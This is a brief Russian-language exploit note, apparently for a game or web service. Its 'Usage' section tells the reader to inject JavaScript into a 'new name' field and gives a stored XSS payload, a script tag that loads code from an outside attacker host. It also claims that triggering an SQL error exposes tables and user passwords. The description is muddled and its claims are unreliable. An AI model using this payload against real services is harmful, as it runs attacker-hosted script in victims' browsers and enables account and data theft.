Описание:
Продукт использует дампинг SQL-информации внутри таблиц. Если удастся
вызвать ошибку, она позволит создавать таблицы и изменять информацию в
них. В процессе, возможно, добавлять и просматривать игроков. Есть
возможность просмотра пароля пользователей сервиса через phpmyadmin или
любой аналог. Использование:
В поле новое имя вставьте любой JavaScript-код. Например, <SCRIPT
SRC=http://youfucktard.com/xss.js></SCRIPT>.